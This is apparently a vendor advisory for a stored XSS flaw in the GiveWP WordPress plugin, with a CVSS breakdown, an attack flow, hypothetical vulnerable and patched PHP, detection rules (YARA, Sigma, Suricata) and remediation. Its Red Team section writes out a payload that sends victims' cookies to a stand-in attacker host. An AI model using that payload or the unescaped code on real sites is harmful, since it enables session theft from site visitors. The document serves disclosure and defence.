CVE-2025-13206
Executive Summary
CVE-2025-13206 is a Stored Cross-Site Scripting (XSS) vulnerability in the GiveWP – Donation Plugin and Fundraising Platform plugin for WordPress, affecting all versions up to and including 4.13.0. The flaw resides in the name parameter, where insufficient input sanitization and output escaping allow unauthenticated attackers to inject arbitrary web scripts. These scripts execute when a user accesses a page containing the injected payload. The attack requires that avatars are enabled in the WordPress installation. The vulnerability has a CVSS score of 7.2 (High), indicating significant risk to confidentiality, integrity, and availability. No public exploit code or patch details are currently available, but the risk is elevated due to the unauthenticated nature of the attack vector.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
WordPress Ecosystem Context
This vulnerability is specific to the WordPress ecosystem, affecting the GiveWP plugin. It does not involve server-level software like Apache or Nginx. The attack leverages WordPress’s avatar feature to store malicious scripts, which are then served to visitors.
CVSS Breakdown & Threat Level
- CVSS Score: 7.2 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack Vector (AV): Network – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): None – Unauthenticated attackers can exploit.
- User Interaction (UI): Required – A user must access the injected page.
- Scope (S): Changed – The impact extends beyond the vulnerable component.
- Confidentiality (C): Low – Limited data exposure possible.
- Integrity (I): Low – Limited data modification possible.
- Availability (A): None – No direct denial of service.
Threat Level: High. The unauthenticated nature and low complexity make this a prime target for mass exploitation, especially in WordPress environments with avatars enabled.
Deep Dive & Mechanics
The vulnerability is a classic Stored XSS in the GiveWP plugin. The name parameter, likely used for donor or comment names, is not properly sanitized before being stored in the database. When avatars are enabled, the plugin renders user-supplied names in a context that includes the avatar display. Because output escaping is insufficient, an attacker can inject JavaScript code that becomes part of the page content.
Attack Flow:
- Attacker submits a donation or comment with a malicious payload in the
namefield (e.g.,<script>alert('XSS')</script>). - The payload is stored in the WordPress database without proper sanitization.
- When a victim visits a page that displays the avatar (e.g., donor list, comment section), the payload executes in the victim’s browser.
- The attacker can then steal cookies, redirect users, or perform other malicious actions.
Prerequisite: Avatars must be enabled in WordPress settings (Settings > Discussion > Avatars). This is a common configuration, increasing the attack surface.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is presumed to be in the GiveWP plugin’s avatar rendering function. The following is a hypothetical comparison based on typical XSS fixes.
Vulnerable Code (PHP):
function givewp_display_avatar($name) {
echo '<img src="avatar.php?name=' . $name . '" alt="' . $name . '">';
}
Here, $name is directly concatenated into HTML attributes without escaping.
Patched Code (PHP):
function givewp_display_avatar($name) {
$safe_name = esc_attr($name);
echo '<img src="avatar.php?name=' . $safe_name . '" alt="' . $safe_name . '">';
}
The patched version uses esc_attr() to escape the name for safe HTML attribute output.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress installation with GiveWP plugin <= 4.13.0.
- Avatars enabled in WordPress settings.
- A publicly accessible page that displays avatars (e.g., donor list).
Exploitation Steps:
- Identify a form or endpoint that accepts the
nameparameter (e.g., donation form, comment form). - Submit a payload such as:
<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script> - Ensure the payload is stored and rendered when avatars are displayed.
- Wait for an administrator or user to visit the page, triggering the XSS.
Note: No public exploit code is available, so this is a manual process.
Blue Team (Detection & Defense)
Detection:
- Monitor for unusual
nameparameter submissions containing<script>,onerror, or other HTML/JavaScript patterns. - Use web application firewalls (WAF) to block common XSS payloads.
- Review server logs for requests to avatar-related endpoints with suspicious parameters.
Defense:
- Disable avatars if not required (WordPress > Settings > Discussion > Avatar Display).
- Apply input validation and output escaping to all user-supplied data.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to
/wp-json/givewp/v1/donorsor similar endpoints withnameparameter containing<script>tags. - Outbound connections to attacker-controlled domains from the WordPress server.
- HTTP requests to
- File IOCs:
- Modified database entries in
wp_give_donorsorwp_commentstables with JavaScript payloads in thenamecolumn.
- Modified database entries in
- Behavioral IOCs:
- Unexpected JavaScript execution on pages displaying avatars.
- Unauthorized cookie theft or redirection.
Detection Engineering
YARA Rule
rule CVE_2025_13206_Stored_XSS {
meta:
description = "Detects stored XSS payloads in GiveWP name parameter"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-13206"
strings:
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
$xss3 = /onload\s*=\s*["']?[^"']*["']?/i
condition:
any of them
}
Sigma Rule
title: CVE-2025-13206 GiveWP Stored XSS Detection
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects potential XSS attempts via the name parameter in GiveWP plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'name='
cs-uri-query|re: '(<script|onerror|onload)'
condition: selection
falsepositives:
- Legitimate use of HTML in names (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-13206 GiveWP Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"name="; http_client_body; pcre:"/(<script|onerror|onload)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable Avatars: In WordPress, go to Settings > Discussion and uncheck "Avatar Display" to eliminate the attack vector.
- Apply Input Validation: Use WordPress functions like
sanitize_text_field()andesc_attr()on all user-supplied data. - Update Plugin: Monitor the GiveWP plugin page for a patched version (> 4.13.0) and apply it immediately.
Long-Term Measures:
- Implement a Web Application Firewall (WAF) with XSS rules.
- Conduct regular security audits of WordPress plugins.
- Educate users about the risks of enabling avatars.
Patch Status: No official patch is available. Users must rely on mitigations until an update is released.
Valters IT
Securing Digital Frontiers
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.